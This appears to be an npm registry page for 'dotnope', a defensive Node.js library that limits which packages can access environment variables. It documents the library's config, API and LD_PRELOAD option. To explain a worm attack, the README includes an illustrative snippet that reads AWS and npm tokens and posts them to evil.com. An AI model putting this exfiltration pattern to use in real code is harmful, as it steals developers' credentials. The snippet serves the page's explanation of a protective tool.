New Research: Supply Chain Attack on Axios Pulls Malicious Dependency from npm.Details →
Socket
Book a DemoSign in
Socket

dotnope

Package Overview
Dependencies
Maintainers
1
Versions
7
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

dotnope

Strict environment variable access control for Node.js with optional native hardening

latest
Source
npmnpm
Version
2.2.1
Version published
Maintainers
1
Created
Source

dotnope

Stop npm packages from stealing your secrets.

The Problem

The Shai-Hulud worm compromised 500+ npm packages and stole $50M+ in crypto by reading AWS_SECRET_ACCESS_KEY, NPM_TOKEN, and other credentials straight from process.env.

Any package in your node_modules can read any environment variable. There's no permission system.

dotnope fixes this.

Quickstart

npm install dotnope
// At the very top of your entry point
const dotnope = require('dotnope');
const handle = dotnope.enableStrictEnv();

// Store the token securely if you need to disable later
const token = handle.getToken();

// Your app code here...

// When done (optional):
handle.disable(token);

Or use the auto-register entry point to enable protection before any other code runs:

node -r dotnope/register your-app.js
// package.json - whitelist what each package can access
{
  "environmentWhitelist": {
    "__options__": {
      "failClosed": true,
      "protectWrites": true,
      "protectDeletes": true,
      "protectEnumeration": true
    },
    "aws-sdk": {
      "allowed": ["AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_REGION"],
      "canWrite": [],
      "canDelete": [],
      "allowPeerDependencies": false
    },
    "dotenv": {
      "allowed": ["*"],
      "canWrite": ["*"],
      "canDelete": []
    }
  }
}

What Happens

When a non-whitelisted package tries to read an env var:

dotnope: Unauthorized environment variable access!

  Package: "totally-legit-package"
  Attempted to read: "AWS_SECRET_ACCESS_KEY"
  Location: node_modules/totally-legit-package/index.js:47

To allow this access, add to your package.json:

  "environmentWhitelist": {
    "totally-legit-package": {
      "allowed": ["AWS_SECRET_ACCESS_KEY"]
    }
  }

How This Stops Shai-Hulud

The attack worked by hiding credential-stealing code in postinstall scripts and runtime:

// Inside compromised package
const aws = process.env.AWS_SECRET_ACCESS_KEY;  // Just works!
const npm = process.env.NPM_TOKEN;              // No restrictions!
fetch('https://evil.com/steal', { body: JSON.stringify({ aws, npm }) });

With dotnope enabled, that code throws immediately:

ERR_DOTNOPE_UNAUTHORIZED: "compromised-pkg" cannot read "AWS_SECRET_ACCESS_KEY"

The malware never gets your credentials. Your app crashes loudly instead of silently leaking secrets.

Security Features

Fail-Closed Mode (Default)

Unknown callers are blocked by default. If dotnope can't determine who's accessing process.env, it denies access rather than allowing it.

Token-Protected Disable

The disable() function requires the secret token returned by enableStrictEnv(). Malicious packages can't just call disableStrictEnv() to bypass protection.

Write Protection

Control which packages can write to process.env, preventing environment pollution attacks.

Enumeration Protection

Packages can only see the env vars they're allowed to access when using Object.keys(process.env) or similar.

Native Addon (Optional)

For high-security environments, dotnope includes an optional C++ native addon that provides:

  • V8-level stack capture (immune to Error.prepareStackTrace manipulation)
  • Async context tracking via V8 PromiseHooks
  • Worker thread protection

Build the native addon with:

npm run build:native

Config Options

Global Options (__options__)

{
  "environmentWhitelist": {
    "__options__": {
      "failClosed": true,
      "protectWrites": true,
      "protectDeletes": true,
      "protectEnumeration": true
    }
  }
}
OptionDefaultDescription
failClosedtrueBlock access when caller can't be determined
protectWritestrueEnforce canWrite permissions
protectDeletestrueEnforce canDelete permissions
protectEnumerationtrueFilter Object.keys(process.env) results

Per-Package Options

{
  "environmentWhitelist": {
    "axios": {
      "allowed": ["HTTP_PROXY", "HTTPS_PROXY"],
      "canWrite": ["HTTP_PROXY"],
      "canDelete": [],
      "allowPeerDependencies": true
    }
  }
}
OptionDefaultDescription
allowed[]Env vars the package can read (["*"] for all)
canWrite[]Env vars the package can write (["*"] for all)
canDelete[]Env vars the package can delete (["*"] for all)
allowPeerDependenciesfalseGrant same permissions to dependencies

API

enableStrictEnv(options?)

Enables environment variable protection. Returns a handle object.

const handle = dotnope.enableStrictEnv({
    configPath: './package.json',    // Custom path to package.json
    suppressWarnings: false,         // Suppress security warnings
    verbose: false,                  // Show all warnings including info level
    allowInWorker: false,            // Required for worker threads
    workerConfig: null               // Config passed from main thread to workers
});

Handle Object

// Get the secret token (store securely!)
const token = handle.getToken();

// Disable protection (requires token)
handle.disable(token);

// Get access statistics
const stats = handle.getAccessStats();
// { "axios:HTTP_PROXY:read": 5, "dotenv:PORT:write": 2 }

Utility Functions

// Check if dotnope is currently enabled
dotnope.isEnabled();

// Check if LD_PRELOAD protection is active
dotnope.isPreloadActive();

// Emit security warnings (useful after enableStrictEnv)
dotnope.emitSecurityWarnings({ forceWarnings: true });

// Check if running in main thread (vs worker)
dotnope.isRunningInMainThread();

// Get serializable config for passing to workers
dotnope.getSerializableConfig();

Auto-Register Mode

When using node -r dotnope/register, the handle and token are stored on global.__dotnope:

// Access in your app after auto-register
const { handle, token, emitWarnings } = global.__dotnope;

// Emit security warnings (suppressed during auto-register)
emitWarnings({ verbose: true });

// Disable if needed
handle.disable(token);

Example

See examples/ for a working demo with a fake malicious package.

cd examples && node app.js

Worker Thread Support

Worker threads require explicit opt-in for security:

// Main thread
const dotnope = require('dotnope');
const handle = dotnope.enableStrictEnv();
const workerConfig = dotnope.getSerializableConfig();

// Pass config to worker via workerData
const worker = new Worker('./worker.js', { workerData: { config: workerConfig } });
// worker.js
const { workerData } = require('worker_threads');
const dotnope = require('dotnope');

dotnope.enableStrictEnv({
    allowInWorker: true,
    workerConfig: workerData.config
});

Advanced: LD_PRELOAD Protection

For protection against native C++ addons that call getenv() directly, dotnope provides an LD_PRELOAD library that intercepts libc's getenv() function.

npx dotnope-run node app.js

Building the Preload Library

Requirements: GCC and standard C development tools

# Build the library
cd native/preload
make

# Optional: Install system-wide
sudo make install  # Installs to /usr/local/lib/

This creates libdotnope_preload.so in the native/preload/ directory.

Manual LD_PRELOAD Usage

# Linux - using local build
LD_PRELOAD=./native/preload/libdotnope_preload.so \
DOTNOPE_POLICY="AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,NODE_ENV" \
node app.js

# Linux - using installed library
LD_PRELOAD=/usr/local/lib/libdotnope_preload.so node app.js

# macOS (if you build a .dylib)
DYLD_INSERT_LIBRARIES=/path/to/libdotnope_preload.dylib node app.js

Preload Configuration

Environment VariableDescription
DOTNOPE_POLICYComma-separated list of allowed env vars (use * for all)
DOTNOPE_LOGEnable logging: 1, stderr, or a file path
# Example: Only allow specific vars, log blocked access
LD_PRELOAD=./native/preload/libdotnope_preload.so \
DOTNOPE_POLICY="NODE_ENV,PORT,DATABASE_URL" \
DOTNOPE_LOG=stderr \
node app.js

License

MIT

Keywords

environment

FAQs

Package last updated on 16 Dec 2025

Did you know?

Socket

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Install

Related posts